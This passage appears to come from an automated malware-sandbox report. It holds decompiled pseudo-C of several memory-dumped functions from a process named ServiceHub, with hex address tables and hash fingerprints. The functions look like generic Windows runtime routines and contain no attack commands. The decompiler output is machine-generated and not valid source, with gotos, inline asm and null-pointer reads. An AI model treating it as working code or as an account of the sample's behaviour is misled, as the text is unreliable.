                                          0x01215d37
                                          0x01215d47
                                          0x01215d53
                                          0x011d2bbd
                                          0x011d2bbd
                                          0x011d2bbd
                                          0x011d2bb7
                                          0x011d2b5d
                                          0x011d2c2f
                                          0x01215d5b
                                          0x01215d77
                                          0x01215d87
                                          0x01215d93
                                          0x011d2c35
                                          0x011d2c35
                                          0x011d2c35
                                          0x011d2c2f
                                          0x011d2b65
                                          0x011d2b9f
                                          0x011d2ba2
                                          0x011d2b67
                                          0x011d2b67
                                          0x011d2b69
                                          0x011d2b6b
                                          0x011d2b6e
                                          0x011d2bc9
                                          0x011d2bcc
                                          0x011d2bcf
                                          0x011d2bd4
                                          0x011d2bd6
                                          0x011d2bd6
                                          0x011d2bdb
                                          0x011d2c02
                                          0x011d2c05
                                          0x011d2c07
                                          0x00000000
                                          0x011d2c07
                                          0x011d2be0
                                          0x011d2c00
                                          0x011d2c3f
                                          0x011d2c3f
                                          0x00000000
                                          0x011d2c00
                                          0x011d2be5
                                          0x011d2be7
                                          0x011d2bec
                                          0x011d2bf4
                                          0x011d2bf6
                                          0x00000000
                                          0x011d2bf6
                                          0x011d2b70
                                          0x011d2b76
                                          0x011d2b2b
                                          0x011d2b2b
                                          0x011d2b2d
                                          0x011d2b2f
                                          0x011d2b32
                                          0x011d2b35
                                          0x011d2b3a
                                          0x00000000
                                          0x011d2b40
                                          0x011d2b43
                                          0x011d2b45
                                          0x011d2b47
                                          0x011d2b4a
                                          0x011d2b4d
                                          0x011d2b53
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011d2b53
                                          0x011d2b78
                                          0x011d2b78
                                          0x011d2b7b
                                          0x011d2b7e
                                          0x00000000
                                          0x011d2b7e
                                          0x011d2b76
                                          0x011d2ba5
                                          0x011d2ba5
                                          0x011d2ba8
                                          0x011d2bad
                                          0x00000000
                                          0x00000000
                                          0x011d2baf
                                          0x011d2baf
                                          0x011d2bc2
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 88fc47c7fb6b78f376024c7b2677d22a557a47453eac0065c3faa01f8d1d7a1c
                                          • Instruction ID: 7d980d399e237e220029c2cc70e8d86519284ec7690059283e7f722429a9936c
                                          • Opcode Fuzzy Hash: 88fc47c7fb6b78f376024c7b2677d22a557a47453eac0065c3faa01f8d1d7a1c
                                          • Instruction Fuzzy Hash: 9351D176B001258FCB2CCF1CC8909BDB7F1FB8970071A845AE8669B315D774AE41CBA1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0126AE44 Relevance: .2, Instructions: 152COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 86%
                                          			E0126AE44(signed char __ecx, signed int __edx, signed int _a4, signed char _a8, signed int* _a12) {
				signed int _v8;
				signed int _v12;
				void* __esi;
				void* __ebp;
				signed short* _t36;
				signed int _t41;
				char* _t42;
				intOrPtr _t43;
				signed int _t47;
				void* _t52;
				signed int _t57;
				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E0126C38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E0126ACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E0126FDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E0126EA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E011C7D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E01261608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E01271536(0x1298ae4, (_t74 -  *0x1298b04 >> 0x14) + (_t74 -  *0x1298b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L0126C323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E0126A80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E0124CB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E0126ACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}



















                                          0x0126ae44
                                          0x0126ae4c
                                          0x0126ae53
                                          0x0126ae55
                                          0x0126ae5c
                                          0x0126ae64
                                          0x0126ae68
                                          0x0126ae75
                                          0x0126ae75
                                          0x0126ae78
                                          0x0126ae7a
                                          0x0126ae7c
                                          0x0126ae7f
                                          0x0126aea8
                                          0x0126aeab
                                          0x0126aead
                                          0x00000000
                                          0x00000000
                                          0x0126aeb3
                                          0x0126aeb8
                                          0x0126aebb
                                          0x0126aebd
                                          0x00000000
                                          0x0126ae81
                                          0x0126ae88
                                          0x0126ae8f
                                          0x0126ae9b
                                          0x0126ae96
                                          0x0126ae96
                                          0x0126ae96
                                          0x0126aea0
                                          0x0126aea3
                                          0x0126aebf
                                          0x0126aebf
                                          0x0126aec3
                                          0x0126aec9
                                          0x0126af0d
                                          0x0126af14
                                          0x0126af3d
                                          0x0126af3d
                                          0x0126af41
                                          0x0126af44
                                          0x0126af67
                                          0x0126af67
                                          0x0126af6a
                                          0x0126afca
                                          0x0126afd1
                                          0x00000000
                                          0x0126afd1
                                          0x0126af6c
                                          0x0126af6d
                                          0x0126af75
                                          0x0126af7c
                                          0x0126af7e
                                          0x0126af80
                                          0x0126af85
                                          0x0126af87
                                          0x0126af99
                                          0x0126af89
                                          0x0126af92
                                          0x0126af92
                                          0x0126af9e
                                          0x0126afa1
                                          0x0126afa3
                                          0x0126afa9
                                          0x0126afb0
                                          0x0126afb2
                                          0x0126afb4
                                          0x0126afbc
                                          0x0126afbc
                                          0x0126afb4
                                          0x0126afb0
                                          0x00000000
                                          0x0126afa1
                                          0x0126af4f
                                          0x0126af57
                                          0x0126af5c
                                          0x0126af5e
                                          0x00000000
                                          0x00000000
                                          0x0126af60
                                          0x0126af64
                                          0x0126af64
                                          0x00000000
                                          0x0126af64
                                          0x0126af1a
                                          0x0126af25
                                          0x00000000
                                          0x00000000
                                          0x0126af27
                                          0x0126af28
                                          0x0126af33
                                          0x00000000
                                          0x0126aed0
                                          0x0126aed0
                                          0x0126aed2
                                          0x0126aee1
                                          0x0126aee4
                                          0x00000000
                                          0x00000000
                                          0x0126aee6
                                          0x0126aeec
                                          0x00000000
                                          0x00000000
                                          0x0126aefb
                                          0x0126af07
                                          0x0126afd3
                                          0x0126afdb
                                          0x0126afdb
                                          0x00000000
                                          0x0126af07
                                          0x0126aed6
                                          0x0126aed8
                                          0x0126aedf
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0126aedf
                                          0x0126aec9

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 94132e2c64916de0e068f59681ad8f288d87a09efdaecf345e1674d22b3deba7
                                          • Instruction ID: dfb55243fca7d05d60fa47c26ceb79a206f09d507bd761f2379e9bb55ab45074
                                          • Opcode Fuzzy Hash: 94132e2c64916de0e068f59681ad8f288d87a09efdaecf345e1674d22b3deba7
                                          • Instruction Fuzzy Hash: 444105B17202129BD726DB2DC894B3BB7DDBF94620F044228FA16A72D0DB75D881C792
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011CDBE9 Relevance: .1, Instructions: 149COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 86%
                                          			E011CDBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E011ACC50(E011A4510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E011C7D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E01278ED6(_t102, _t98);
						}
						_t76 = _v44;
						E011C2280(_t58, _v44);
						E011CDD82(_v44, _t102, _t98);
						E011CB944(_t102, _v5);
						return E011BFFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x1298628; // 0x0
							_v28 = _t67;
							_t68 =  *0x129862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x1298628; // 0x0
						_t105 = _v28;
						_t80 =  *0x129862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x126fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}









































                                          0x011cdbe9
                                          0x011cdbf2
                                          0x011cdbf7
                                          0x011cdbf9
                                          0x011cdbfc
                                          0x011cdc00
                                          0x011cdc03
                                          0x011cdc14
                                          0x011cdd54
                                          0x011cdd54
                                          0x011cdd54
                                          0x011cdc18
                                          0x011cdc1d
                                          0x011cdc1d
                                          0x011cdc32
                                          0x011cdc3b
                                          0x011cdc3e
                                          0x011cdc46
                                          0x011cdd5b
                                          0x011cdd62
                                          0x011cdd64
                                          0x011cdd67
                                          0x011cdd69
                                          0x011cdd6b
                                          0x011cdd6e
                                          0x011cdd70
                                          0x011cdd73
                                          0x011cdd73
                                          0x00000000
                                          0x011cdc4c
                                          0x011cdc4e
                                          0x01213ae3
                                          0x01213ae8
                                          0x01213aea
                                          0x011cdce7
                                          0x011cdce9
                                          0x011cdcec
                                          0x011cdcee
                                          0x011cdcf0
                                          0x011cdcf3
                                          0x011cdcf5
                                          0x01213af2
                                          0x01213af5
                                          0x01213af5
                                          0x011cdd06
                                          0x011cdd08
                                          0x011cdd0b
                                          0x011cdd12
                                          0x01213b08
                                          0x011cdd18
                                          0x011cdd18
                                          0x011cdd18
                                          0x011cdd20
                                          0x011cdd23
                                          0x01213b16
                                          0x01213b16
                                          0x011cdd29
                                          0x011cdd2d
                                          0x011cdd36
                                          0x011cdd40
                                          0x011cdd51
                                          0x011cdd51
                                          0x011cdc54
                                          0x011cdc59
                                          0x011cdc59
                                          0x011cdc5e
                                          0x011cdc5e
                                          0x011cdc63
                                          0x011cdc66
                                          0x011cdc6b
                                          0x011cdc78
                                          0x011cdc7b
                                          0x011cdc81
                                          0x011cdc81
                                          0x011cdc83
                                          0x011cdc89
                                          0x00000000
                                          0x00000000
                                          0x011cdd7b
                                          0x011cdd7b
                                          0x011cdc8f
                                          0x011cdc8f
                                          0x011cdc92
                                          0x011cdc99
                                          0x011cdc9f
                                          0x011cdca5
                                          0x011cdcaa
                                          0x011cdcaa
                                          0x011cdcb3
                                          0x011cdcb8
                                          0x011cdcbb
                                          0x011cdcc1
                                          0x011cdccf
                                          0x011cdcd2
                                          0x011cdcd5
                                          0x011cdcd7
                                          0x011cdcda
                                          0x011cdcdc
                                          0x011cdcdc
                                          0x011cdce2
                                          0x011cdce4
                                          0x00000000
                                          0x011cdce4

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ac4442704921b6cb0fc8aa0a6963e537c6a38fd88dec09e7b5b91e432053f2b0
                                          • Instruction ID: 05603ed6cfc95e7484b0a00722286cec320e05302ee0ad4278e6958dc7f56d59
                                          • Opcode Fuzzy Hash: ac4442704921b6cb0fc8aa0a6963e537c6a38fd88dec09e7b5b91e432053f2b0
                                          • Instruction Fuzzy Hash: AB518CB1E00606DFCF18CFA8D480AAEBBF5BB68710F25816ED555A7344EB70A944CBD1
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011BEF40 Relevance: .1, Instructions: 147COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 96%
                                          			E011BEF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E011A9080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x7709c21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E011A2D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}




























                                          0x011bef4b
                                          0x011bef4d
                                          0x011bef57
                                          0x011bf0bd
                                          0x011bf0c2
                                          0x011bf0d2
                                          0x011bf0d2
                                          0x011bf0c2
                                          0x011bef5d
                                          0x011bef5f
                                          0x011bef67
                                          0x011bef6a
                                          0x011bef6d
                                          0x011bef74
                                          0x011bef7f
                                          0x011bef82
                                          0x011bef82
                                          0x011bef86
                                          0x011bef88
                                          0x011bef8c
                                          0x011bef8f
                                          0x011bef8f
                                          0x011bef8f
                                          0x00000000
                                          0x011bef91
                                          0x011bef93
                                          0x011befc4
                                          0x011befc4
                                          0x011befc4
                                          0x011befca
                                          0x011befd0
                                          0x011bf0a6
                                          0x00000000
                                          0x00000000
                                          0x011bf0af
                                          0x0120bb06
                                          0x0120bb0a
                                          0x011bf0b5
                                          0x011bf0b5
                                          0x011bf0b5
                                          0x011bf0b5
                                          0x00000000
                                          0x011befd6
                                          0x011befd9
                                          0x011bf0de
                                          0x011bf0e2
                                          0x011befdf
                                          0x011befdf
                                          0x011befdf
                                          0x011befe5
                                          0x0120bafc
                                          0x0120bafc
                                          0x011befe5
                                          0x011befeb
                                          0x011befed
                                          0x011bf00f
                                          0x011bf011
                                          0x011bf01a
                                          0x011bf01d
                                          0x011bf021
                                          0x011bf028
                                          0x011bf029
                                          0x011bf029
                                          0x011bf02c
                                          0x00000000
                                          0x011bf02c
                                          0x011beff3
                                          0x011beff9
                                          0x011bf0ea
                                          0x011bf0ed
                                          0x011bf0ef
                                          0x00000000
                                          0x011bf0ef
                                          0x011bf003
                                          0x0120bb12
                                          0x011bf045
                                          0x011bf049
                                          0x011bf051
                                          0x011bf09e
                                          0x011bf0a0
                                          0x011bf0a0
                                          0x011bf09e
                                          0x011bf053
                                          0x011bf064
                                          0x011bf064
                                          0x011bf06b
                                          0x0120bb1a
                                          0x0120bb1a
                                          0x011bf071
                                          0x011bf071
                                          0x011bf07d
                                          0x011bf082
                                          0x011bf08f
                                          0x011bf08f
                                          0x011bf009
                                          0x011bf00d
                                          0x00000000
                                          0x011bf00d
                                          0x011befd0
                                          0x011bef97
                                          0x011befa5
                                          0x011befaa
                                          0x00000000
                                          0x011befac
                                          0x011befac
                                          0x011befac
                                          0x00000000
                                          0x011befb2
                                          0x011bf036
                                          0x011bf03a
                                          0x011bf040
                                          0x011bf090
                                          0x00000000
                                          0x011bf092
                                          0x011bf042
                                          0x00000000
                                          0x011bf042
                                          0x011befb7
                                          0x011befb9
                                          0x011befbc
                                          0x011befb0
                                          0x011befb0
                                          0x00000000
                                          0x011befbe
                                          0x011befbe
                                          0x011befc1
                                          0x00000000
                                          0x011befc1
                                          0x011befbc
                                          0x011befaa
                                          0x011bef91

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
                                          • Instruction ID: 834ff64d6434ce547db39923f7e3bc4203fb3ddd83cb0e49a41e0e53bf4a4247
                                          • Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
                                          • Instruction Fuzzy Hash: 99510430E0524ADFEB2DCB6CC4D47EEBBB2AF05314F1881ACC54597292C375A98AC742
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0127740D Relevance: .1, Instructions: 141COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 84%
                                          			E0127740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E011FD4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E011EF380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L011C4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L011C4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E011EF3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L011C4620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}





















                                          0x0127740d
                                          0x0127740d
                                          0x01277412
                                          0x01277413
                                          0x01277416
                                          0x01277418
                                          0x0127741c
                                          0x0127741f
                                          0x01277422
                                          0x01277422
                                          0x01277428
                                          0x0127742a
                                          0x0127742a
                                          0x01277451
                                          0x01277432
                                          0x0127744f
                                          0x0127744f
                                          0x00000000
                                          0x01277434
                                          0x01277438
                                          0x01277443
                                          0x01277517
                                          0x01277517
                                          0x0127751a
                                          0x01277535
                                          0x01277520
                                          0x01277527
                                          0x0127752c
                                          0x01277531
                                          0x01277533
                                          0x00000000
                                          0x01277533
                                          0x00000000
                                          0x01277531
                                          0x0127754b
                                          0x0127754f
                                          0x0127755c
                                          0x0127755c
                                          0x0127755f
                                          0x01277560
                                          0x01277561
                                          0x01277562
                                          0x01277563
                                          0x01277568
                                          0x0127756a
                                          0x0127756c
                                          0x0127756d
                                          0x0127756d
                                          0x0127756f
                                          0x01277572
                                          0x01277574
                                          0x01277577
                                          0x0127757c
                                          0x0127757f
                                          0x00000000
                                          0x01277551
                                          0x01277551
